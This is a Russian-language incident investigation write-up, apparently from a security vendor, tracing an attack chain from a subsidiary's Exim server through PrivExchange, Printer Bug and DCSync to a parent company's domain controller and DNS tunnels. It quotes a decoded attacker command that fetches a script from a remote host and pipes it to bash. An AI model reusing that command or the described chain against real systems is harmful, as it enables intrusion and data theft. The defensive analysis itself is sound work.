Взлом доверия: история расследования атаки на компанию через филиал
Согласно опыту расследований нашей компании, взломы организаций через партнеров и дочерние подразделения – тенденция последних лет. На примере реального практического кейса покажем, как с помощью системы анализа трафика получилось воссоздать цепочку атаки на головную организацию и понять, как злоумышленникам удалось попасть в сеть.
Если говорить об информационной безопасности современной крупной организации, даже достаточно зрелой не стоит забывать о ее не менее масштабной и сложной внутренней структуре. Как правило, у каждой такой компании есть большое число «дочек», филиалов, целая сеть партнеров, с которыми установлены доверительные отношения на уровне доступов. Поэтому безопасность такой компании прямо зависит от защищенности всех связанных организаций. Какой бы совершенной ни была политика безопасности в «центре», обеспечить ее соблюдение на местах становится трудновыполнимой задачей.
Рассмотрим случай, как у одной из компаний с крупной распределенной сетью филиалов был скомпрометирован контроллер домена1, и как система анализа трафика (network traffic analysis, NTA) позволила оперативно среагировать и локализовать атаку, обрушившуюся буквально за ночь.
1 Контроллер домена по-прежнему является самой популярной целью злоумышленников, и это неудивительно: его компрометация и получение прав доменного администратора открывают атакующему все двери в инфраструктуре компании.
Акт 1. Слишком много DGA
Первое, что бросилось в глаза оператору, когда он утром пришел на работу – это дашборд, на котором отображалось большое количество обращений к доменам, сгенерированным алгоритмом DGA (domain generation algorithm) в сети головной организации. PT Network Attack Discovery (NTA-система) выявила такие обращения за счет встроенного механизма обнаружения DGA-доменов.
Все эти обращения были в рамках протокола DNS, что говорит о построении DNS-туннеля, то есть об использовании одной из распространенных техник соединения с командными центрами злоумышленников.
PT NAD подтвердил построение DNS-туннелей: были обнаружены срабатывание правил на активность dnscat2, утилиты для построения каналов взаимодействия с командными серверами посредством использования протокола DNS.
Оператор посмотрел клиентов DNS-туннелей: пять рабочих станций топ-менеджмента были скомпрометированы.
Данный факт свидетельствует о том, что злоумышленник уже как минимум прошел стадии проникновения и закрепления в инфраструктуре, обошел имеющиеся средства защиты и успел перейти к стадиям горизонтального перемещения и, вероятно, эксфильтрации (кражи) данных.
С чего же все началось? Как злоумышленнику удалось закрепиться на машинах сотрудников? Давайте поищем ответы в трафике: здесь начинается самое интересное.
Акт 2. Легитимно? Не думаем
Очевидно, что данные обращения – это только вершина айсберга. Заблокировав их, скорее всего, получим целую пачку новых аналогичных подключений. Необходимо найти источник, а не тратить время на борьбу со следствиями. В поисках источника NTA-инструмент полезен тем, что позволяет изучить трафик за любой прошедший период времени.
Как злоумышленник попал на эти рабочие станции? Сфокусируем внимание PT NAD на них и «отмотаем» историю на несколько часов назад – на период с 2:00 до 3:00 того же дня. Как показывает виджет, в ночное время были удаленные соединения по протоколу RDP.
Изучив сессии с удаленными соединениями по RDP, выяснилось, что их было более 30 и все они были установлены с одного и того же узла. Причем этот узел одновременно является контроллером домена самой головной организации.
Во время анализа сессий мы обратили внимание на два любопытных момента:
a)однородность сессий: примерно схожее время жизни, схожий объем отправленных и полученных данных;
b)их последовательность: почти всегда открытию новой сессии предшествует закрытие предыдущей.
Явное преобладание отправленного объема над полученным говорит о загрузке какого-то контента на рабочие станции, которая производилась с сервера контроллера домена. Подозрительно? Да!
Акт 3. Семейное предательство
Пожалуй, самое время взглянуть подробнее на контроллер домена. PT NAD выявил подозрительное обращение к нему от другого контроллера домена, относящегося к одной из дочерних организаций. Это была попытка эксплуатации уязвимости, известной как Printer Bug.
Суть Printer Bug состоит в следующем:
1. Клиент (в данном случае – контроллер домена дочерней организации, назовем его DC_child) путем использования протокола удаленной печати (MS-RPRN) заставил сервер (в данном случае контроллер домена головной организации, назовем его DC_main) аутентифицироваться на своей машине.
2. DC_main аутентифицировался на DC_child посредством использования протокола Kerberos и передал ему свой тикет (TGT, ticket-grant-ticket).
3. После получения тикета DC_child использовал его уже для получения данных с Active Directory DC_main посредством хакерской утилиты DCSync. Среди полученных злоумышленником данных присутствуют и хеш-суммы паролей пользователей, которых достаточно для удаленной аутентификации на целевых машинах посредством протокола RDP.
Акт 4. А что же у «дочки»?
Становится понятно, что вредоносная активность шла из дочерней организации. Окончательно собрать пазл поможет «перемотка» PT NAD еще на пару часов назад. Той же ночью, незадолго до появления удаленных доступов PT NAD зафиксировал две последовательные атаки.
1. Время 0:54 – PT NAD обнаружил эксплуатацию уязвимости на почтовом сервере Exim, находящемся в сегменте DMZ этой дочерней организации (CVE-2019-10149).
Такая уязвимость позволяет злоумышленнику выполнять произвольный код на целевой машине, и закрепиться на ней тоже не представляет труда. За счет того, что PT NAD разбирает протокол SMTP и хранит сессии целиком, мы смогли просмотреть команду, которую злоумышленник передал на сервер Exim. Мы увидели команду для удаленного запуска. Раскодировав ее, мы получили следующее: wget -O - https://x.x.x.x... | bash. Это значит, что злоумышленник загрузил вредоносный код на сервер Exim и запустил его.
2. Время 1:32 – PT NAD зафиксировал проведение атаки на сервер Microsoft Exchange дочерней компании с того самого сервера Exim, скомпрометированного за полчаса до этого. Атака проводилась с помощью эксплуатации уязвимости PrivExchange (CVE-2018-8581). Такая уязвимость позволяет злоумышленнику, имеющему учетные данные доменного пользователя, назначить любой пользовательской учетной записи в домене произвольный набор привилегий, в том числе права доменного администратора.
Картина приобретает четкие очертания. Становится понятным, что компрометация контроллера домена в дочерней организации незамедлительно переросла в компрометацию главного контроллера домена уже в головной организации. Лишь одно осталось для нас загадкой: откуда у злоумышленника оказались учетные данные доменного пользователя для организации атаки PrivExchange? PT NAD подтвердил, что за эту ночь явных попыток подбора пароля не было, учетные данные пользователя в открытом виде в трафике не были обнаружены. На момент расследования эта часть так и осталась нерешенной, впоследствии ответ был найден (от читателя же мы сохраним его в тайне). Тем не менее основные этапы атаки для нас стали понятны.
Итак, восстановим полную картину атаки.
1. Захватили «дочку»
a. Получение изначального доступа и закрепление. Внешний злоумышленник получил доступ к почтовому серверу Exim, стоящему на внешнем периметре организации, путем эксплуатации уязвимости CVE-2019-10149.
b. Повышение привилегий на контроллере домена. Злоумышленник продолжил развивать атаку с почтового сервера Exim. Путем эксплуатации уязвимости CVE-2018-8581 на сервере Microsoft Exchange он повысил привилегии пользовательской учетной записи до доменного администратора.
2. Идем на Рим
a. Компрометация основного контроллера домена. Скомпрометировав контроллер домена в дочерней организации, злоумышленники решили двинуться дальше, в сторону головной организации. Они успешно осуществили репликацию с Active Directory основного контроллера домена.
b. Установление соединений до рабочих станций и закрепление. Получив полный набор привилегий, злоумышленник закрепился на рабочих станциях топ-менеджмента головной организации и открыл соединения с командными серверами посредством DNS-туннелей.
Все это удалось обнаружить по следам в трафике. Разбор сетевых протоколов и хранение данных о сетевых взаимодействиях помогли восстановить цепочку атаки как в дочерней, так и в головной организации. Благодаря этому удалось локализовать угрозу, а представленные описания атак и рекомендации позволили устранить использованные ранее уязвимости.
Заключение
Трафик – полезный источник для выявления признаков атаки и раскрутки ее цепочки. Наша экспертная команда PT Expert Security Center включает PT NAD, нашу NTA-систему, в базовый набор инструментов при анализе событий ИБ и расследовании инцидентов. Пара публичных примеров: обнаружение вредоноса Neutrino (статья «В поисках Neutrino»), детектирование активизации криптомайнера Sustes.
Хотя это вовсе не означает, что использование PT NAD под силу только экспертам. NTA-системы, безусловно, не работают в режиме «светофор», требуют определенного уровня зрелости ИБ в организации и времени для адаптации к конкретной инфраструктуре. Однако, чем раньше организация начнет «прокачивать» свою собственную экспертизу в данном вопросе, тем быстрее будет готова к выявлению и локализации современных атак.